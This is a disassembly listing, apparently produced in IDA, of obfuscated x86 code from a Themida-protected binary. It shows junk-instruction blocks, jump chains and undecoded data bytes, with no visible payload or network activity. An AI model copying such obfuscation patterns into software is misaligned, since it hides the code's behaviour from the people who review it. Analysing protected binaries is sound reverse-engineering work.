Themida_:005ACA7Dj pop edi pop dword ptr [esp] push edx jmp loc_59F900 ; --------------------------------------------------------------------------- loc_5A5C4B: ; CODE XREF: Themida_:005ADA27j pop ecx sub ecx, 946307CDh jmp loc_5AE1ED ; --------------------------------------------------------------------------- loc_5A5C57: ; CODE XREF: Themida_:005A7440j jmp loc_5AF7D0 ; --------------------------------------------------------------------------- loc_5A5C5C: ; CODE XREF: Themida_:005A7218j mov [esp], edx jmp loc_59DBF6 ; --------------------------------------------------------------------------- loc_5A5C64: ; CODE XREF: Themida_:005AD4AEj pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5AF5E5 ; --------------------------------------------------------------------------- loc_5A5C73: ; CODE XREF: Themida_:0059EB09j xchg ebp, [esp] mov esp, [esp] push edi mov edi, 17B5386Dh add edx, 5A186Dh add edx, 60187305h jmp loc_5A7232 ; --------------------------------------------------------------------------- loc_5A5C90: ; CODE XREF: Themida_:005A456Bj pop ebp add ebp, 4 sub ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_5AE8E5 ; --------------------------------------------------------------------------- loc_5A5CAD: ; CODE XREF: Themida_:005A98BBj push 1936h jmp loc_5A981B ; --------------------------------------------------------------------------- loc_5A5CB7: ; CODE XREF: Themida_:005ACBB8j xor [esp], ebp xor ebp, [esp] jmp loc_5A05E5 ; --------------------------------------------------------------------------- loc_5A5CC2: ; CODE XREF: Themida_:0059FF9Cj push ecx jmp loc_5AC3B4 ; --------------------------------------------------------------------------- loc_5A5CC8: ; CODE XREF: Themida_:005ADDA6j pop esi dec edx not edx shr edx, 4 xor edx, 0A425F21h sub edi, 133874F9h add edi, edx add edi, 133874F9h mov edx, [esp] add esp, 4 sub edi, 4 push edi jmp loc_5A8617 ; --------------------------------------------------------------------------- loc_5A5CF5: ; CODE XREF: Themida_:005A99C2j mov esi, 2 mov edx, esi pop esi add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A5D17: ; CODE XREF: Themida_:005AEA0Cj pop ecx or ebx, 5E472AB8h not ebx push esi mov esi, 5CEC335Bh shr esi, 8 jmp loc_59EE1A ; --------------------------------------------------------------------------- dw 5756h dd 4BFh, 5FFE8900h, 3C9168h, 240C8900h, 0EA4C31B9h, 244C2927h dd 4D33E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5D4E: ; CODE XREF: Themida_:005A0CFCj mov edx, 4EF11EAFh mov edi, edx pop edx sub esi, edi pop edi mov ebp, esi pop esi push ebx mov ebx, 2A63C6Fh jmp loc_59FB5F ; --------------------------------------------------------------------------- loc_5A5D67: ; CODE XREF: Themida_:005ABC4Aj sub edx, 61E41623h push ebx mov ebx, 5EB5687Ah jmp loc_5A5E66 ; --------------------------------------------------------------------------- loc_5A5D78: ; CODE XREF: Themida_:005A5063j pop eax push ebx jmp loc_59F95C ; --------------------------------------------------------------------------- loc_5A5D7F: ; CODE XREF: Themida_:0059C41Fj mov dx, 35DEh mov cx, dx mov dx, [esp] add esp, 2 not cx push small 1E48h mov [esp], si push small 0BAF5h pop si xor cx, si jmp loc_5AF962 ; --------------------------------------------------------------------------- db 0BFh, 1Bh, 5Ch dd 0C78108C7h, 0F738A3E9h, 3AB6E9h db 0 ; --------------------------------------------------------------------------- loc_5A5DB9: ; CODE XREF: Themida_:005A7C98j add edi, 4 push 47DFh jmp loc_5A6E10 ; --------------------------------------------------------------------------- loc_5A5DC9: ; CODE XREF: Themida_:005A2C29j dec esi not esi jmp loc_5A48FF ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C4h dd 4, 5FF9EE81h, 48B4D61h, 4C48124h, 5000000h, 61816184h dd 374FE9h db 0 ; --------------------------------------------------------------------------- loc_5A5DF1: ; CODE XREF: Themida_:005AF869j add dword ptr [esp], 4 jmp loc_5A1E1C ; --------------------------------------------------------------------------- loc_5A5DFD: ; CODE XREF: Themida_:0059E7F2j sub ecx, edi pop edi add edx, 5672391Eh sub edx, ecx jmp loc_5A0C6B ; --------------------------------------------------------------------------- loc_5A5E0D: ; CODE XREF: Themida_:005A5FA5j push ebx jmp loc_5A9651 ; --------------------------------------------------------------------------- loc_5A5E13: ; CODE XREF: Themida_:005A2CE0j pop edx add esp, 4 jmp loc_5A566D ; --------------------------------------------------------------------------- loc_5A5E1C: ; CODE XREF: Themida_:loc_5A11C8j jmp loc_5AA4DB ; --------------------------------------------------------------------------- loc_5A5E21: ; CODE XREF: Themida_:0059E567j mov [esp], edi jmp loc_5AB47E ; --------------------------------------------------------------------------- db 0B8h, 36h, 2Bh dd 0F405717h, 0FF81598Dh, 297CE9FFh, 0C6310000h, 0E9E28952h dd 0FFFFBCDAh ; --------------------------------------------------------------------------- loc_5A5E44: ; CODE XREF: Themida_:0059F97Cj ; Themida_:005ACB8Aj neg eax ja loc_59F756 xor eax, 7C158AEh jnb loc_5AD46B neg eax sub eax, 11F7667Ch xor eax, 9DCEA64Fh mov edi, eax push edx loc_5A5E66: ; CODE XREF: Themida_:005A5D73j xor ebx, 75F75B7Fh sub edx, ebx pop ebx sub esp, 4 mov [esp], ebx push edx mov edx, 5A1C44B9h add edx, 0F9902145h or edx, 3B0D0E2Dh jbe loc_5A5FC5 jmp loc_59DD2A ; --------------------------------------------------------------------------- db 68h, 5Ah, 62h dd 1C890000h, 0D1B15124h, 0CF28F2B7h, 30DEB159h, 0C3805BF9h dd 80CB28B7h, 8B66B7EBh, 0C483240Ch, 2EC8102h, 66000000h dd 68241489h, 1793h, 0E9241C89h, 0FFFF70D1h ; --------------------------------------------------------------------------- loc_5A5ED0: ; CODE XREF: Themida_:005AD78Bj xor ebx, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx jmp loc_5A1363 ; --------------------------------------------------------------------------- loc_5A5EE0: ; CODE XREF: Themida_:005AFCFBj add al, dh add al, 4Eh pop edx shl al, 3 inc al sub al, 8 jmp loc_598C64 ; --------------------------------------------------------------------------- db 0E9h, 0ECh, 3Ah dd 158FFFFh, 0CF295AD7h, 4808EF81h, 0C781199Bh, 18794660h dd 2E8DE9h db 0 ; --------------------------------------------------------------------------- loc_5A5F0D: ; CODE XREF: Themida_:0059D36Fj ; Themida_:005AA551j pop esp jmp loc_5A5A90 ; --------------------------------------------------------------------------- loc_5A5F13: ; CODE XREF: Themida_:005A60FBj push esi jmp loc_5A86B6 ; --------------------------------------------------------------------------- loc_5A5F19: ; CODE XREF: Themida_:005AC162j add esi, 18B135D0h sub esi, ebx sub esi, 18B135D0h pop ebx mov edi, esi jmp loc_5AECD7 ; --------------------------------------------------------------------------- db 5 dd 932166Eh, 0A3E95950h, 0BFFFFF8Fh, 70384A05h, 8890F4Fh dd 81FFFF9Fh, 0E9773AE7h, 8EDCE963h, 5256FFFFh db 8Ah, 0E8h ; --------------------------------------------------------------------------- loc_5A5F56: ; CODE XREF: Themida_:005A9CD0j mov eax, 0E241956h add edi, 9A46FE6h sub edi, eax sub edi, 9A46FE6h pop eax jmp loc_59AD56 ; --------------------------------------------------------------------------- loc_5A5F6F: ; CODE XREF: Themida_:0059FD11j push small 31C2h mov [esp], dx mov dh, 49h sub bl, dh pop dx jmp loc_5A4778 ; --------------------------------------------------------------------------- loc_5A5F82: ; CODE XREF: Themida_:005A942Aj push 669Ah mov [esp], edi mov edi, 74BC6D6Dh add edx, 5D4144BEh sub edx, 1BA96206h jmp loc_5AE2B6 ; --------------------------------------------------------------------------- loc_5A5FA0: ; CODE XREF: Themida_:005A4D60j mov ecx, 33526348h jmp loc_5A5E0D ; --------------------------------------------------------------------------- loc_5A5FAA: ; CODE XREF: Themida_:0059B199j push ebp push eax mov eax, 5FC22C7Bh push 5FC22C7Fh pop ebp xor ebp, eax pop eax sub eax, ebp pop ebp xchg eax, [esp] jmp loc_59ECAF ; --------------------------------------------------------------------------- loc_5A5FC5: ; CODE XREF: Themida_:005A5E8Aj jmp loc_5A3998 ; --------------------------------------------------------------------------- dw 5259h dd 0C281E289h, 4, 4EA81h, 14870000h, 24248B24h, 0BB241C89h dd 352951E6h, 0E907EBC1h, 8795h ; --------------------------------------------------------------------------- loc_5A5FF0: ; CODE XREF: Themida_:005992ECj dec ch shr ch, 8 push dx mov dl, 0F4h and ch, dl pop dx sub ch, 48h xor ch, 41h sub al, ch jmp loc_5ACD10 ; --------------------------------------------------------------------------- loc_5A600A: ; CODE XREF: Themida_:005AE040j inc edx add edx, 2D131552h sub edx, 5A8A62C9h add edi, edx pop edx push ebp mov ebp, 4 add edi, ebp jmp loc_5A89DD ; --------------------------------------------------------------------------- loc_5A6027: ; CODE XREF: Themida_:0059FF12j pop edi add esp, 4 pop dword ptr [esp] jmp loc_5A0E10 ; --------------------------------------------------------------------------- loc_5A6036: ; CODE XREF: Themida_:005A808Bj add esi, 4 push ebp jmp loc_5A321D ; --------------------------------------------------------------------------- dw 0DCF6h dd 8F278D0Fh, 0F4800000h, 8739E9BCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A6052: ; CODE XREF: Themida_:00598A98j push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 sub ebx, 44CD5745h add ebx, ebp add ebx, 44CD5745h pop ebp add ebx, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_598BCE push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edi mov edi, esp jmp loc_59BC44 ; --------------------------------------------------------------------------- loc_5A60A8: ; CODE XREF: Themida_:005AA275j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5AE3AA ; --------------------------------------------------------------------------- loc_5A60C3: ; CODE XREF: Themida_:005AA8EDj add ebx, 4 xchg ebx, [esp] pop esp push 283Fh mov [esp], esi mov esi, esp push ecx jmp loc_5A38EF ; --------------------------------------------------------------------------- loc_5A60DD: ; CODE XREF: Themida_:005AE551j push 14B4h mov [esp], eax push 5FCFh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_5A35A4 ; --------------------------------------------------------------------------- loc_5A60FA: ; CODE XREF: Themida_:005A4ECFj dec edx jmp loc_5A5F13 ; --------------------------------------------------------------------------- loc_5A6100: ; CODE XREF: Themida_:005A9816j jmp loc_5AC353 ; --------------------------------------------------------------------------- byte_5A6105 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598910o dd 3604E924h, 4BD0000h, 56000000h, 0AA6793BEh, 5EF02969h dd 4C061B05h, 0D6D6E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6126: ; CODE XREF: Themida_:005A8ED5j sub esp, 4 mov [esp], ebx mov ebx, eax mov edi, ebx mov ebx, [esp] add esp, 4 pop eax xor edi, ebx jmp loc_5AEF26 ; --------------------------------------------------------------------------- loc_5A6141: ; CODE XREF: Themida_:005A49E2j ; Themida_:loc_5A68B5j add ebx, 0BAD26954h mov edi, ebx pop ebx push edx mov edx, 52977B51h and edi, edx jmp loc_5A8E95 ; --------------------------------------------------------------------------- loc_5A6157: ; CODE XREF: Themida_:005A79E7j push eax mov eax, 516C5600h add [esp+8], eax pop eax sub dword ptr [esp+4], 579D1D34h pop ebp jmp loc_5A40DF ; --------------------------------------------------------------------------- loc_5A6170: ; CODE XREF: Themida_:005AABD8j add bl, 0B6h jmp loc_59D673 ; --------------------------------------------------------------------------- dd 0DE447DB8h, 55E8D176h, 0C40826BDh, 5DE8211Fh, 0A92E9705h dd 6CCE0501h, 292D7AD9h, 0E923A620h, 0FFFF3B53h ; --------------------------------------------------------------------------- loc_5A619C: ; CODE XREF: Themida_:005A9A06j add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi xchg ecx, [esp] jmp loc_5A3040 ; --------------------------------------------------------------------------- loc_5A61B1: ; CODE XREF: Themida_:0059A8BDj shr ecx, 3 jmp loc_5A709E ; --------------------------------------------------------------------------- db 28h, 0F0h, 66h aZyhG db 'ZYh╡g',0 dw 8900h dd 8CB22414h, 80C4CA80h, 0D02862F2h, 67AB685Ah, 1C890000h dd 6673B324h, 6634DA68h, 0E9240C89h, 0FFFFFCADh, 37D9880Fh dd 0C6810000h, 58BD57FAh, 0FF529FE9h, 241C8BFFh, 404C483h dd 0E9C80019h, 4D6Dh ; --------------------------------------------------------------------------- loc_5A6208: ; CODE XREF: Themida_:0059D2C7j ; Themida_:0059EA34j pop esp push 64h mov [esp], ecx mov ecx, 84F394Ch push edx mov edx, 0ECE5187h or ecx, edx pop edx jmp loc_5AC39A ; --------------------------------------------------------------------------- dd 5E7C15Fh, 55BBC781h, 0FB895B37h, 8BD8895Fh, 0C481241Ch dd 4, 3205E8D1h, 0F19C869h, 22A880h, 2E8C100h, 4C6BE9h dd 24048100h, 4, 4C7815Fh, 81000000h, 4ECh, 241C8900h dd 4BBh, 0E9DF2900h, 0FFFFA226h ; --------------------------------------------------------------------------- loc_5A6274: ; CODE XREF: Themida_:005A41A2j mov edi, esp add edi, 4 add edi, 4 jmp loc_599BB3 ; --------------------------------------------------------------------------- loc_5A6284: ; CODE XREF: Themida_:005A56DDj add esi, ecx jmp loc_5AA9E2 ; --------------------------------------------------------------------------- loc_5A628B: ; CODE XREF: Themida_:005A59FEj mov edi, 4 sub esi, 7A4B35CFh jmp loc_5AED20 ; --------------------------------------------------------------------------- loc_5A629B: ; CODE XREF: Themida_:0059DA84j push ebp push ebx mov ebx, 2 mov ebp, ebx pop ebx sub ebx, 57E95E3Eh add ebx, ebp push ebp push edi sub esp, 4 jmp loc_5AD7A9 ; --------------------------------------------------------------------------- db 81h dd 2627D7CFh, 4EFC115h, 0E5E7B850h, 0C9E93AD3h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A62CB: ; CODE XREF: Themida_:005A358Bj mov ecx, [esp] add esp, 4 jmp loc_5A4F44 ; --------------------------------------------------------------------------- loc_5A62D9: ; CODE XREF: Themida_:0059971Ej push dword ptr [esp+4] jmp loc_5A8D33 ; --------------------------------------------------------------------------- loc_5A62E2: ; CODE XREF: Themida_:005A297Cj pop ebx jmp loc_5A0D75 ; --------------------------------------------------------------------------- loc_5A62E8: ; CODE XREF: Themida_:0059B9ACj and ecx, 116016A5h push ebx mov ebx, 3A35CE2h push eax jmp loc_5A1E8D ; --------------------------------------------------------------------------- loc_5A62FA: ; CODE XREF: Themida_:0059EF47j add edx, 4 xchg edx, [esp] pop esp loc_5A6301: ; CODE XREF: Themida_:0059DA3Fj push 6D1Bh mov [esp], ebx mov eax, [esp] push 3814h jmp loc_5AE2DD ; --------------------------------------------------------------------------- loc_5A6316: ; CODE XREF: Themida_:0059C88Bj mov edx, [esp] add esp, 4 add edx, ebp pop ebp push edi mov edi, 2 add edx, edi pop edi xchg edx, [esp] mov esp, [esp] push 7793h mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp jmp loc_5AA7F5 ; --------------------------------------------------------------------------- dw 835Ah dd 0E16804C7h, 8900006Bh, 74FF243Ch, 0FE90424h, 5FFFF8Fh dd 14606081h, 0FFA304E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A636D: ; CODE XREF: Themida_:00599FD6j push edx mov dl, 0E2h mov ch, dl pop edx shr ch, 6 and ch, 1Ch sub ch, 0F9h add ch, 1Fh jmp loc_5990D0 ; --------------------------------------------------------------------------- loc_5A6384: ; CODE XREF: Themida_:005AAB1Aj add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_59FCEA ; --------------------------------------------------------------------------- db 1 dd 0E95959CAh, 15E0h ; --------------------------------------------------------------------------- loc_5A639C: ; CODE XREF: Themida_:005AAF2Aj add edx, ebx jmp loc_5A4FD3 ; --------------------------------------------------------------------------- loc_5A63A3: ; CODE XREF: Themida_:005A2381j sub bl, 0F7h sub bl, 0B1h sub bl, cl add bl, 0B1h push eax jmp loc_59F1A5 ; --------------------------------------------------------------------------- loc_5A63B4: ; CODE XREF: Themida_:005A9825j push ebx mov ebx, 5CBE11C7h shr ebx, 1 jmp loc_5A8744 ; --------------------------------------------------------------------------- loc_5A63C1: ; CODE XREF: Themida_:005A9FCAj pop edi mov edi, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edx, 90BF89F5h add edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx push 4 jmp loc_598E7F ; --------------------------------------------------------------------------- dd 39DB850Fh, 0EAC1FFFFh, 33840F03h, 80FFFF84h db 0E2h, 74h ; --------------------------------------------------------------------------- loc_5A6412: ; CODE XREF: Themida_:005A4AACj neg ebp jmp loc_5A31EB ; --------------------------------------------------------------------------- loc_5A6419: ; CODE XREF: Themida_:00599CEAj push eax jmp loc_59FBA7 ; --------------------------------------------------------------------------- db 80h dd 0FC0830EFh, 0B333E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A642A: ; CODE XREF: Themida_:005AFD8Aj xor ecx, 43682AD2h jns loc_5A140A sub ecx, 37B9612Dh jmp loc_5A7139 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 213868h, 24248900h, 0FFD408E9h, 0AEEF81FFh, 29480B4Eh dd 0AEC781DFh, 5B480B4Eh, 1B84C781h, 0EF293173h, 1B84EF81h dd 0C7813173h, 280971D8h, 0E92434FFh, 0FFFFDD99h ; --------------------------------------------------------------------------- loc_5A647C: ; CODE XREF: Themida_:005AD71Ej add edi, ebp jmp loc_59C2E8 ; --------------------------------------------------------------------------- loc_5A6483: ; CODE XREF: Themida_:0059F7C0j pop edx jmp loc_5A10FC ; --------------------------------------------------------------------------- loc_5A6489: ; CODE XREF: Themida_:005A7670j ; Themida_:005A7D54j ... pop esp jmp loc_5ACDC7 ; --------------------------------------------------------------------------- db 50h dd 0B75368B4h, 0E9CFFE50h, 0FFFFFF83h ; --------------------------------------------------------------------------- loc_5A649C: ; CODE XREF: Themida_:0059BD93j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ebp, 4 jmp loc_5A150C ; --------------------------------------------------------------------------- dd 0C381FB01h, 0EB10760h, 28E9515Fh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A64C3: ; CODE XREF: Themida_:005A1F0Dj xor [esp], ebx xor ebx, [esp] mov esp, [esp] shr ecx, 0Ah sub esp, 4 jmp loc_5A28C1 ; --------------------------------------------------------------------------- loc_5A64D7: ; CODE XREF: Themida_:005A6D2Ej pop ecx neg ebp add ebp, 2B4D7FC2h add ebx, ebp push dword ptr [esp] jmp loc_5A1490 ; --------------------------------------------------------------------------- loc_5A64EA: ; CODE XREF: Themida_:0059B401j sub ecx, 20C02FDh jmp loc_5ACC67 ; --------------------------------------------------------------------------- byte_5A64F5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00598888o dd 1946824h, 4890000h, 48B5424h, 0BD85E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A650A: ; CODE XREF: Themida_:005AD207j pop edi add esp, 4 push edx mov edx, 409D32BBh add ecx, edx mov edx, [esp] add esp, 4 push edx mov edx, 127229DBh push ebx push esi mov esi, 54F45565h inc esi or esi, 15F9738Dh js loc_5A5173 neg esi xor esi, 565064D7h jnp loc_59C59E jmp loc_5A14FF ; --------------------------------------------------------------------------- dd 247C0159h, 7BE95F04h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6557: ; CODE XREF: Themida_:005A5682j mov esp, [esp] mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_5AB8D9 ; --------------------------------------------------------------------------- loc_5A656B: ; CODE XREF: Themida_:005A1405j mov ecx, [esp] add esp, 4 sub ebp, 252451AFh add ebp, ebx add ebp, 252451AFh jmp loc_5A3849 ; --------------------------------------------------------------------------- loc_5A6587: ; CODE XREF: Themida_:005AD92Aj neg edi jmp loc_5ADB9C ; --------------------------------------------------------------------------- loc_5A658E: ; CODE XREF: Themida_:005A7268j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_59D331 ; --------------------------------------------------------------------------- loc_5A65A2: ; CODE XREF: Themida_:005A9D53j mov ebx, [esp] add esp, 4 dec dword ptr [edx+38h] jnz loc_5AB869 and dword ptr [edx+38h], 371A3221h jnb loc_5A49D3 mov ebp, eax mov edi, 0D3674Ch add ecx, edi jmp loc_59A3DF ; --------------------------------------------------------------------------- loc_5A65CC: ; CODE XREF: Themida_:0059D979j mov bh, 30h jmp loc_5A57FA ; --------------------------------------------------------------------------- loc_5A65D3: ; CODE XREF: Themida_:005A70C2j mov ch, 44h mov dl, ch pop ecx sub dl, 64h push edx inc byte ptr [esp] pop edx shl dl, 8 and dl, 0DAh push ax mov ah, 0EEh sub dl, ah pop ax sub bl, dl pop edx movzx eax, al mov dx, [esp] push 0E4Eh mov [esp], ebx jmp loc_5A1C6E ; --------------------------------------------------------------------------- byte_5A6605 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598934o aHbg db '$h│G',0 align 2 dw 1489h dd 12A46824h, 24890000h, 24048324h, 24148B04h, 0FF53F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A6625: ; CODE XREF: Themida_:005AA573j sub edx, 4 jmp loc_5AF431 ; --------------------------------------------------------------------------- loc_5A662D: ; CODE XREF: Themida_:0059D727j ; Themida_:005A318Fj mov edi, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A663B: ; CODE XREF: Themida_:005A8412j mov edi, 5CE602F5h sub edi, 5E1A4347h not edi jmp loc_5A0142 ; --------------------------------------------------------------------------- loc_5A664D: ; CODE XREF: Themida_:005A861Bj mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_5A2F44 ; --------------------------------------------------------------------------- dd 530EE81h, 8EE9721Ah db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A666F: ; CODE XREF: Themida_:0059E9EFj jnp loc_5A9374 jmp loc_5A4FB6 ; --------------------------------------------------------------------------- dw 890Fh dd 0FFFF872Ch, 0E9240C8Bh, 13A7h, 4C481h, 0F6680000h, 89000041h dd 1BBA2414h, 0C12A9C01h, 8B0F08E2h, 0FFFF7A3Ah, 0FFAD2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A66A9: ; CODE XREF: Themida_:0059CB07j mov [esp], di mov di, 15E8h sub [esp+4], di pop di add word ptr [esp+2], 3B15h pop cx jmp loc_5989A3 ; --------------------------------------------------------------------------- a1S db '1<$Иц`',0 align 2 loc_5A66CE: ; CODE XREF: Themida_:0059BFEEj or ebx, 0D181B53h jmp loc_5A7791 ; --------------------------------------------------------------------------- loc_5A66D9: ; CODE XREF: Themida_:005AC127j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], eax mov eax, 20AD2E00h shr eax, 7 jns loc_5A3358 add eax, 21A53C47h jo loc_59EF46 pop edi loc_5A670C: ; CODE XREF: Themida_:0059F751j rol word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A6716: ; CODE XREF: Themida_:0059E63Dj jmp loc_5A1DFD ; --------------------------------------------------------------------------- loc_5A671B: ; CODE XREF: Themida_:005A08E7j push eax mov eax, 52CD203Ah xor eax, 552C3287h and edi, eax mov eax, [esp] add esp, 4 shr edi, 4 not edi push 68EDh mov [esp], edi not dword ptr [esp] pop edi dec edi add edi, 0FFDBF005h add edx, edi jmp loc_5A7DB0 ; --------------------------------------------------------------------------- loc_5A6750: ; CODE XREF: Themida_:005ABF51j mov bl, 0C5h add al, bl mov bx, [esp] add esp, 2 add al, dh sub al, 0C5h sub al, 0BBh add al, 4Fh jmp loc_59CA13 ; --------------------------------------------------------------------------- loc_5A6768: ; CODE XREF: Themida_:005A30A7j ; Themida_:005ADCEBj neg ebx sub ebx, 318B78F0h push esi mov esi, 19CA2607h dec esi or esi, 0DB8193Bh add esi, 56372AD5h sub ebx, 16815B24h add ebx, esi jmp loc_59A108 ; --------------------------------------------------------------------------- dd 0E902C183h, 0FFFF9542h dword_5A6798 dd 66D830ACh, 6CE95253h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A67A3: ; CODE XREF: Themida_:0059A171j shr edi, 4 sub edi, offset word_5E2AFA jmp loc_5996E6 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0FDh dd 81350E23h, 5B487CC3h, 8AD7E95Ch, 4890000h, 6B46E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A67CA: ; CODE XREF: Themida_:005A2387j ; Themida_:005A41E8j xchg edx, [esp] mov esp, [esp] mov [esp], esi push edi push esi sub esp, 4 mov [esp], ecx mov ecx, 759C6D12h mov esi, ecx pop ecx mov edi, esi mov esi, [esp] add esp, 4 dec edi jmp loc_59B02D ; --------------------------------------------------------------------------- loc_5A67F4: ; CODE XREF: Themida_:0059DE62j push edi mov di, 37EDh not di xor di, 2D5Ch inc di not di add di, 5D33h sub di, 544Fh sub bx, di mov edi, [esp] add esp, 4 mov dx, bx jmp loc_59EE0E ; --------------------------------------------------------------------------- loc_5A6821: ; CODE XREF: Themida_:005ACBA4j pop eax mov eax, [esp] push 119Fh mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5AE333 ; --------------------------------------------------------------------------- loc_5A6843: ; CODE XREF: Themida_:0059E34Fj jmp loc_59CB95 ; --------------------------------------------------------------------------- loc_5A6848: ; CODE XREF: Themida_:005AD8E8j dec word ptr [esp] pushf jmp loc_5AE888 ; --------------------------------------------------------------------------- loc_5A6852: ; CODE XREF: Themida_:005A6B1Ej push dword ptr [esp] jmp loc_5A3499 ; --------------------------------------------------------------------------- loc_5A685A: ; CODE XREF: Themida_:0059E7B9j mov ebp, ebx pop ebx mov ebx, 0C22F9333h add ebx, ebp pop ebp add ecx, ebx jmp loc_5A4E19 ; --------------------------------------------------------------------------- dd 4246C81h, 6F405773h, 0B850595Bh, 22381755h, 0F90E9h dd 24348900h, 424521BEh, 850F4E11h, 0FFFF309Bh, 7282CE81h dd 0C78A5E94h, 0ED81D889h, 4, 5C242C87h, 68240C89h, 6838h dd 55243C89h, 0FF9AE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A68B5: ; CODE XREF: Themida_:loc_59ED32j jmp loc_5A6141 ; --------------------------------------------------------------------------- loc_5A68BA: ; CODE XREF: Themida_:005A9E97j pop ecx not edi add edi, 6E20F691h jmp loc_5A7628 ; --------------------------------------------------------------------------- loc_5A68C8: ; CODE XREF: Themida_:005A272Aj push ebx jmp loc_5AC33B ; --------------------------------------------------------------------------- word_5A68CE dw 34FFh ; DATA XREF: Themida_:0059872Co dd 24048B24h, 5204C483h, 0E951E289h, 0FFFF7CCEh, 0E9241C8Bh dd 3E2Fh ; --------------------------------------------------------------------------- loc_5A68E8: ; CODE XREF: Themida_:005A4E99j xchg ebx, [esp] pop esp jmp loc_59D9FC ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 1000000h, 555659CFh, 15FBE9h, 53D12800h, 0F900C3B7h dd 0FF40FBE9h, 0A0E6E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A6912: ; CODE XREF: Themida_:005A0495j push esp jmp loc_5A4731 ; --------------------------------------------------------------------------- loc_5A6918: ; CODE XREF: Themida_:0059E255j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A691D: ; CODE XREF: Themida_:00599622j push edx jmp loc_5A4A5B ; --------------------------------------------------------------------------- db 87h dd 0E9874DE9h, 0FF6C43E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A692D: ; CODE XREF: Themida_:005AEDC4j push ecx mov ecx, esp add ecx, 4 jmp loc_5ADDFA ; --------------------------------------------------------------------------- loc_5A693B: ; CODE XREF: Themida_:005A220Ej push ecx mov ecx, 4E77E6Eh jmp loc_5A9BD6 ; --------------------------------------------------------------------------- word_5A6946 dw 8B66h ; DATA XREF: Themida_:0059894Co dd 89572404h, 2261E9E7h, 74FFFFFFh, 79E90424h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A695B: ; CODE XREF: Themida_:0059B688j add ebp, 0ED6EE518h jmp loc_59D508 ; --------------------------------------------------------------------------- loc_5A6966: ; CODE XREF: Themida_:0059FC19j pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push edx push esp pop edx push 42EBh jmp loc_5A8406 ; --------------------------------------------------------------------------- db 5Fh, 8Fh, 4 dd 2C895C24h, 0F780E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A698E: ; CODE XREF: Themida_:0059D057j push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_5A7284 ; --------------------------------------------------------------------------- loc_5A69AE: ; CODE XREF: Themida_:005A8CADj add esp, 4 jmp loc_5A43B8 ; --------------------------------------------------------------------------- loc_5A69B9: ; CODE XREF: Themida_:005997D6j ; Themida_:005A1EACj add edi, 1 push edx mov edx, 25BE3C5Ch xor edi, edx pop edx add edi, 5C627568h xor edi, 0D4647EC1h push ebp mov ebp, 38364848h jmp loc_5ABD21 ; --------------------------------------------------------------------------- dword_5A69DC dd 51D831ADh, 4EC81h, 0D0E90000h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A69EB: ; CODE XREF: Themida_:005A0DC7j sub ch, 16h jmp loc_5A1243 ; 